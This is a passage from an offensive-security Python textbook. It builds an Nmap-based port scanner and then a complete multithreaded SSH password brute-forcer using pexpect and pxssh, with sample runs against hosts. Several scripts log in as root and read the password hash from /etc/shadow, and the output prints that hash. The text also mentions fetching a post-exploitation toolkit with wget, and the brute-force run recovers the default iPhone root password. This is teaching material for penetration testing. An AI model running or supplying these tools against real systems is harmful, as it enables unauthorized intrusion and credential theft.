Authors: TJ O'Connor
Our preceding example provides a quick script for performing a TCP connect scan. This might prove limited as we may require the ability to perform additional scan types such as ACK, RST, FIN, or SYN-ACK scans provided by the Nmap toolkit (
Vaskovich, 1997
). The de facto standard for a port scanning toolkit, Nmap, delivers a rather extensive amount of functionality. This begs the question, why not just use Nmap? Enter the true beauty of Python. While Fyodor Vaskovich wrote Nmap and its associated scripts in the C and LUA programming languages, Nmap is able to be integrated rather nicely into Python. Nmap produces XML based output. Steve Milner and Brian Bustin wrote a Python library that parses this XML based output. This provides us with the ability to utilize the full functionality of Nmap within a Python script. Before starting, you must install Python-Nmap, available at
http://xael.org/norman/python/python-nmap/
. Ensure you take into consideration the developer’s notes regarding the different versions of Python 3.x and Python 2.x.
More Information…
Other Types of Port Scans
Consider a few other types of scans. While we lack the tools to craft packets with TCP options, we will cover this later in Chapter 5. At that time see if you can replicate some of these scan types in your port scanner.
TCP SYN SCAN—Also known as a half-open scan, this type of scan initiates a TCP connection with a SYN packet and waits for a response. A reset packet indicates the port is closed while a SYN/ACK indicates the port is open.
TCP NULL SCAN—A null scan sets the TCP flag header to zero. If a RST is received, it indicates the port is closed.
TCP FIN SCAN—A TCP FIN Scan sends the FIN to tear down an active TCP connection and wait for a graceful termination. If a RST is received, it indicates the port is closed.
TCP XMAS SCAN—An XMAS Scan sets the PSH, FIN, and URG TCP Flags. If a RST is received, it indicates the port is closed.
With Python-Nmap installed, we can now import Nmap into existing scripts and perform Nmap scans inline with your Python scripts. Creating a PortScanner() class object will allow us the capability to perform a scan on that object. The PortScanner class has a function scan() that takes a list of targets and ports as input and performs a basic Nmap scan. Additionally, we can now index the object by target hosts and ports and print the status of the port. The following sections will build upon this ability to locate and identify targets.
import nmap
import optparse
def nmapScan(tgtHost, tgtPort):
nmScan = nmap.PortScanner()
nmScan.scan(tgtHost, tgtPort)
state=nmScan[tgtHost][‘tcp’][int(tgtPort)][‘state’]
print “[∗] ” + tgtHost + “ tcp/”+tgtPort +“ ”+state
def main():
parser = optparse.OptionParser(‘usage%prog ’+\
‘-H
parser.add_option(‘-H’, dest=‘tgtHost’, type=‘string’, \
help=‘specify target host’)
parser.add_option(‘-p’, dest=‘tgtPort’, type=‘string’, \
help=‘specify target port[s] separated by comma’)
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(‘, ’)
if (tgtHost == None) | (tgtPorts[0] == None):
print parser.usage
exit(0)
for tgtPort in tgtPorts:
nmapScan(tgtHost, tgtPort)
if __name__ == ‘__main__’:
main()
Running our script that utilizes Nmap, we notice something interesting about TCP port 1720. The server or a firewall is actually filtering access to TCP port 1720. The port is not necessarily closed as we initially thought. Using a full-fledged scanner like Nmap instead of a single TCP connect scan we were able to discover the filter.
attacker:∼# python nmapScan.py -H 10.50.60.125 -p 21, 1720
[∗] 10.50.60.125 tcp/21 open
[∗] 10.50.60.125 tcp/1720 filtered
Now that we have constructed a port scanner to find targets, we can begin the task of exploiting the vulnerabilities of each service. The Morris Worm includes forcing common usernames and passwords against the remote shell (RSH) service as one of its three attack vectors. In 1988, RSH provided an excellent (although not very secure) method for a system administrator to remotely connect to a machine and manage it by performing a series of terminal commands on the host. The Secure Shell (SSH) protocol has since replaced RSH by combining RSH with a public-key cryptographic scheme in order to secure the traffic. However, this does very little to stop the same attack vector by forcing out common user names and passwords. SSH Worms have proven to be very successful and common attack vectors. Take a look at the intrusion detection system (IDS) log from our very own
www.violentpython.org
for a recent SSH attack. Here, the attacker has attempted to connect to the machine using the accounts ucla, oxford, and matrix. These are interesting choices. Luckily for us, the IDS prevented further SSH login attempts from the attacking IP address after noticing its trend to forcibly produce the passwords.
Received From: violentPython->/var/log/auth.log
Rule: 5712 fired (level 10) -> “SSHD brute force trying to get access to the system.”
Portion of the log(s):
Oct 13 23:30:30 violentPython sshd[10956]: Invalid user ucla from 67.228.3.58
Oct 13 23:30:29 violentPython sshd[10954]: Invalid user ucla from 67.228.3.58
Oct 13 23:30:29 violentPython sshd[10952]: Invalid user oxford from 67.228.3.58
Oct 13 23:30:28 violentPython sshd[10950]: Invalid user oxford from 67.228.3.58
Oct 13 23:30:28 violentPython sshd[10948]: Invalid user oxford from 67.228.3.58
Oct 13 23:30:27 violentPython sshd[10946]: Invalid user matrix from 67.228.3.58
Oct 13 23:30:27 violentPython sshd[10944]: Invalid user matrix from 67.228.3.58
Lets implement our own automated SSH Worm that brute forces user credentials against a target. Because SSH clients require user interaction, our script must be able to wait and match for an expected output before sending further input commands. Consider the following scenario. In order to connect to our SSH machine at IP Address, 127.0.0.1, the application first asks us to confirm the RSA key fingerprint. In this case, we must answer, “yes” before continuing. Next, the application asks us to enter a password before granting us a command prompt. Finally, we execute our command uname –v to determine the kernel version running on our target.
attacker$ ssh [email protected]
The authenticity of host ‘127.0.0.1 (127.0.0.1)’ can’t be established.
RSA key fingerprint is 5b:bd:af:d6:0c:af:98:1c:1a:82:5c:fc:5c:39:a3:68.
Are you sure you want to continue connecting (yes/no)?
yes
Warning: Permanently added ‘127.0.0.1’ (RSA) to the list of known hosts.
Password:∗∗∗∗∗∗∗∗∗∗∗∗∗∗
Last login: Mon Oct 17 23:56:26 2011 from localhost
attacker:∼
uname -v
Darwin Kernel Version 11.2.0: Tue Aug 9 20:54:00 PDT 2011; root:xnu-1699.24.8∼1/RELEASE_X86_64
In order to automate this interactive console, we will make use of a third party Python module named Pexpect (available to download at
http://pexpect.sourceforge.net
). Pexpect has the ability to interact with programs, watch for expected outputs, and then respond based on expected outputs. This makes it an excellent tool of choice for automating the process of brute forcing SSH user credentials.
Examine the function connect(). This function takes a username, hostname, and password and returns an SSH connection resulting in an SSH spawned connection. Utilizing the pexpect library, it then waits for an expected output. Three possible expected outputs can occur—a timeout, a message indicating that the host has a new public key, or a password prompt. If a timeout occurs, then the session.expect() method returns to zero. The following selection statement notices this and prints an error message before returning. If the child.expect() method catches the ssh_newkey message, it returns a 1. This forces the function to send a message ‘yes’ to accept the new key. Following this, the function waits for the password prompt before sending the SSH password.
import pexpect
PROMPT = [‘# ’, ‘>>> ’, ‘> ’, ‘\$ ’]
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
def connect(user, host, password):
ssh_newkey = ‘Are you sure you want to continue connecting’
connStr = ‘ssh ’ + user + ‘@’ + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
‘[P|p]assword:’])
if ret == 0:
print ‘[-] Error Connecting’
return
if ret == 1:
child.sendline(‘yes’)
ret = child.expect([pexpect.TIMEOUT, \
‘[P|p]assword:’])
if ret == 0:
print ‘[-] Error Connecting’
return
child.sendline(password)
child.expect(PROMPT)
return child
Once authenticated, we can now use a separate function command() to send commands to the SSH session. The function command() takes an SSH session
and command string as input. It then sends the command string to the session and waits for the command prompt. After catching the command prompt, it prints this output from the SSH session.
import pexpect
PROMPT = [‘# ’, ‘>>> ’, ‘> ’, ‘\$ ’]
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
Wrapping everything together, we now have a script that can connect and control the SSH session interactively.
import pexpect
PROMPT = [‘# ’, ‘>>> ’, ‘> ’, ‘\$ ’]
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
def connect(user, host, password):
ssh_newkey = ‘Are you sure you want tocontinueconnecting’
connStr = ‘ssh ’ + user + ‘@’ + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
‘[P|p]assword:’])
if ret == 0:
print ‘[-] Error Connecting’
return
if ret == 1:
child.sendline(‘yes’)
ret = child.expect([pexpect.TIMEOUT, \
‘[P|p]assword:’])
if ret == 0:
print ‘[-] Error Connecting’
return
child.sendline(password)
child.expect(PROMPT)
return child
def main():
host = ‘localhost’
user = ‘root’
password = ‘toor’
child = connect(user, host, password)
send_command(child, ‘cat /etc/shadow | grep root’)
if __name__ == ‘__main__’:
main()
Running the script, we see we can connect to an SSH server to remotely control a host. While we ran the simple command to displaying the hashed password for the root user from /etc/shadow file, we could use the tool to something more devious like using wget to download a post exploitation toolkit. You can start an SSH server on Backtrack by generating ssh-keys and then starting the SSH service. Try starting the SSH server and connecting to it with the script.
attacker# sshd-generate
Generating /files/01/49/20/f014920/public/private rsa1 key pair.
<..SNIPPED..>
attacker# service ssh start
ssh start/running, process 4376
attacker# python sshCommand.py
cat /etc/shadow | grep root
root:$6$ms32yIGN$NyXj0YofkK14MpRwFHvXQW0yvUid.slJtgxHE2EuQqgD74S/GaGGs5VCnqeC.bS0MzTf/EFS3uspQMNeepIAc.:15503:0:99999:7:::
While writing the last script really gave us a deep understanding of the capabilities of pexpect, we can really simplify the previous script using pxssh. Pxssh is a specialized script included the pexpect library. It contains the ability to directly interact with SSH sessions with pre-defined methods for login(), logout(), prompt(). Using pxssh, we can reduce our previous script to the following.
import pxssh
def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print s.before
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
return s
except:
print ‘[-] Error Connecting’
exit(0)
s = connect(‘127.0.0.1’, ‘root’, ‘toor’)
send_command(s, ‘cat /etc/shadow | grep root’)
Our script is near complete. We only have a few minor modifications to get the script to automate the task of brute forcing SSH credentials. Other than adding some option parsing to read in the hostname, username, and password file, the only thing we need to do is slightly modify the connect() function. If the login() function succeeds without exception, we will print a message indicating that the password is found and update a global Boolean indicating so. Otherwise, we will catch the exception. If the exception indicates that the password was ‘refused’, we know the password failed and we just return. However, if the exception indicates that the socket is ‘read_nonblocking’, then we will assume the SSH server is maxed out at the number of connections, and we will sleep for a few seconds before trying again with the same password. Additionally, if the exception indicates that pxssh is having difficulty obtaining a command prompt, we will sleep for a second to allow it to do so. Note that we include a Boolean release included in the connect() function arguments. Since connect() can recursively call another connect(), we only want the caller to be able to release our connection_lock semaphore.
import pxssh
import optparse
import time
from threading import ∗
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print ‘[+] Password Found: ’ + password
Found = True
except Exception, e:
if ‘read_nonblocking’ in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif ‘synchronize with original prompt’ in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser(‘usage%prog ’+\
‘-H
)
parser.add_option(‘-H’, dest=‘tgtHost’, type=‘string’, \
help=‘specify target host’)
parser.add_option(‘-F’, dest=‘passwdFile’, type=‘string’, \
help=‘specify password file’)
parser.add_option(‘-u’, dest=‘user’, type=‘string’, \
help=‘specify the user’)
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print parser.usage
exit(0)
fn = open(passwdFile, ‘r’)
for line in fn.readlines():
if Found:
print “[∗] Exiting: Password Found”
exit(0)
if Fails > 5:
print “[!] Exiting: Too Many Socket Timeouts”
exit(0)
connection_lock.acquire()
password = line.strip(‘\r’).strip(‘\n’)
print “[-] Testing: ”+str(password)
t = Thread(target=connect, args=(host, user, \
password, True))
child = t.start()
if __name__ == ‘__main__’:
main()
Trying the SSH password brute force against a device provides the following results. It is interesting to note the password found is ‘alpine’. This is the default root password on iPhone devices. In late 2009, a SSH worm attacked jail-broken iPhones. Often when jail-breaking the device, users enabled an OpenSSH server on the iPhone. While this proved extremely useful for some, several users were unaware of this new capability. The worm
iKee
took advantage this new capability by trying the default password against devices. The authors of the worm did not intend any harm with the worm. Rather, they changed the background image of the phone to a picture of Rick Astley with the words “ikee never gonna give you up.”
attacker# python sshBrute.py -H 10.10.1.36 -u root -F pass.txt
[-] Testing: 123456
[-] Testing: 12345
[-] Testing: 123456789
[-] Testing: password
[-] Testing: iloveyou
[-] Testing: princess
[-] Testing: 1234567
[-] Testing: alpine
[-] Testing: password1
[-] Testing: soccer
[-] Testing: anthony
[-] Testing: friends
[+] Password Found: alpine
[-] Testing: butterfly
[∗] Exiting: Password Found